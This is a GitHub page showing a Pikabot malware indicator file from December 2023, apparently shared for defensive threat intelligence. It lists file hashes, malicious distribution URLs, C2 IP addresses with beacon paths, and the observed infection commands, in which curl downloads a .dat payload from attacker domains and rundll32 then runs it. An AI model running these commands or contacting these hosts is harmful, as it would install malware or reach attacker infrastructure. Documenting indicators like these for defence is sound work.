○

Sign in

pr0xylife / Pikabot   Public

🔔 Notifications   ⑂ Fork 1   ☆ Star 31

<> Code   ⊙ Issues 1   ⑂↑ Pull requests   ▷ Actions   ⊞ Projects   ⊘ Security   Insights

Pikabot / Pikabot_22.12.2023.txt 🗐   ···

🕓

104 lines (72 loc) · 6.2 KB

Code   Blame   Raw 🗐 ⭳ <>

```
1    22.12.2023 | Pikabot | TA577 | 1.1.19-ghost
2
3    **************************************************
4
5    .pdf 994e9d25da5d1d00bd0156991b1de00e7228c8423eed97f305514d518a509e8d
6    .url https://saibabacartransport.com/osihj/?cf1HFxObd8fRMMm5FfU51Wud6vE
7    .zip 2e53d6eb8f0d96b6c371089f44954e1b3a73159ceb7076e8824e5081eb9a748f
8    .dll 16d318c6335fffd2f2d2f1629edfa0c39bbe99cc77030d4601d43f6315c13e02
9
10   .zip d95c987423f2a2df57dccd6d9457804edddf58e28ba59cf22e8efc6beee7da09
11   .dll 374d1476191b32a90334ec0f874949e14c4ce2d8098294b4e322cccdcf6dbe32
12
13   **************************************************
14
15   pdf > url > zip > js > curl > .dll
16
17   wscript.exe C:\Users\Admin\AppData\Local\Temp\Notesjl.js
18
19   cmd.exe /c mkdir  C:\Gofkvlgdigt\Ekfgihcifmv & curl https://ucakbiletsorgulama.com/U14/0.6604636713
20
21   curl https://ucakbiletsorgulama.com/U14/0.6604636713043338.dat --output C:\Gofkvlgdigt\Ekfgihcifmv\
22
23   cmd.exe /c mkdir  C:\Gofkvlgdigt\Ekfgihcifmv & curl https://mexicopostalcode.com/51h6Kn/0.731540142
24
25   curl https://mexicopostalcode.com/51h6Kn/0.73154014266961.dat --output C:\Gofkvlgdigt\Ekfgihcifmv\1
26
```

```
27    cmd.exe /c mkdir  C:\Gofkvlgdigt\Ekfgihcifmv & curl https://adanacigkoftesiparis.com/ViUbB/0.479498
28
29    curl https://adanacigkoftesiparis.com/ViUbB/0.4794982785991857.dat --output C:\Gofkvlgdigt\Ekfgihci
30
31    cmd.exe /c mkdir  C:\Gofkvlgdigt\Ekfgihcifmv & curl https://kartvizitfiyatlari.com/rLhb/0.409286031
32
33    curl https://kartvizitfiyatlari.com/rLhb/0.4092860312823935.dat --output C:\Gofkvlgdigt\Ekfgihcifmv
34
35    cmd.exe /c mkdir  C:\Gofkvlgdigt\Ekfgihcifmv & curl https://adanacamasiryikama.com/BDs19Ul/0.863957
36
37    curl https://adanacamasiryikama.com/BDs19Ul/0.8639579070704284.dat --output C:\Gofkvlgdigt\Ekfgihci
38
39    cmd.exe /c mkdir  C:\Gofkvlgdigt\Ekfgihcifmv & curl 0.3090409960983732.dat --output C:\Gofkvlgdigt\
40
41    curl 0.3090409960983732.dat --output C:\Gofkvlgdigt\Ekfgihcifmv\Ikfigkvosjr.dll
42
43    cmd.exe /c mkdir  C:\Gofkvlgdigt\Ekfgihcifmv & curl 0.8262833647995473.dat --output C:\Gofkvlgdigt\
44
45    curl 0.8262833647995473.dat --output C:\Gofkvlgdigt\Ekfgihcifmv\Ikfigkvosjr.dll
46
47    cmd.exe /c timeout 10 & rundll32 C:\Gofkvlgdigt\Ekfgihcifmv\Ikfigkvosjr.dll,Enter
48
49    timeout 10
50
51    rundll32 C:\Gofkvlgdigt\Ekfgihcifmv\Ikfigkvosjr.dll,Enter
52
53    ************************************************
54
55    **** .dll distro ****
56
57    https://adanacamasiryikama.com/BDs19Ul/0.17061133165068715.dat
58    https://kartvizitfiyatlari.com/rLhb/0.5991546204420577.dat
59    https://adanacigkoftesiparis.com/ViUbB/0.45625095726666564.dat
60    https://mexicopostalcode.com/51h6Kn/0.10488555301618846.dat
61    https://ucakbiletsorgulama.com/U14/0.44170515690096146.dat
62    https://sakshiconstructioncompany.com/bc1WDy2/0.7070941415013887.dat
63    https://expressreparation.com/cBB/0.7466311972818431.dat
64    https://fineclippingpath.com/zD6AAu/0.6803039392149672.dat
65    https://doorbell.api.net.bd/j2l1/0.5720348080422888.dat
66
67    ************************************************
68
69    c2's
70
71    https://46.250.253.58:5243
72    https://89.117.55.178:2083
```

```
 73      https://85.239.237.153:5632
 74      https://154.38.164.50:5243
 75      https://144.91.113.0:13721
 76      https://154.38.185.138:13786
 77      https://154.211.12.126:2967
 78      https://109.123.227.147:5243
 79      https://185.187.235.158:23399
 80      https://5.180.151.194:5631
 81      https://109.123.227.170:5632
 82      https://154.38.185.136:5243
 83      https://5.180.151.180:2224
 84      https://109.123.227.166:5938
 85      https://51.161.81.190:13721
 86
 87      https://46.250.253.58:5243/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&anti
 88      https://89.117.55.178:2083/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&anti
 89      https://85.239.237.153:5632/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ant
 90      https://154.38.164.50:5243/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&anti
 91      https://144.91.113.0:13721/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&anti
 92      https://154.38.185.138:13786/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ar
 93      https://154.211.12.126:2967/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ant
 94      https://109.123.227.147:5243/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ar
 95      https://185.187.235.158:23399/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&a
 96      https://5.180.151.194:5631/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&anti
 97      https://109.123.227.170:5632/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ar
 98      https://154.38.185.136:5243/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ant
 99      https://5.180.151.180:2224/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&anti
100      https://109.123.227.166:5938/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ar
101      https://51.161.81.190:13721/slowness/YeLLdXhxPozWAJMhK?spinosity=underregistrationDesexualizing&ant
102
103
104      **************************************************
```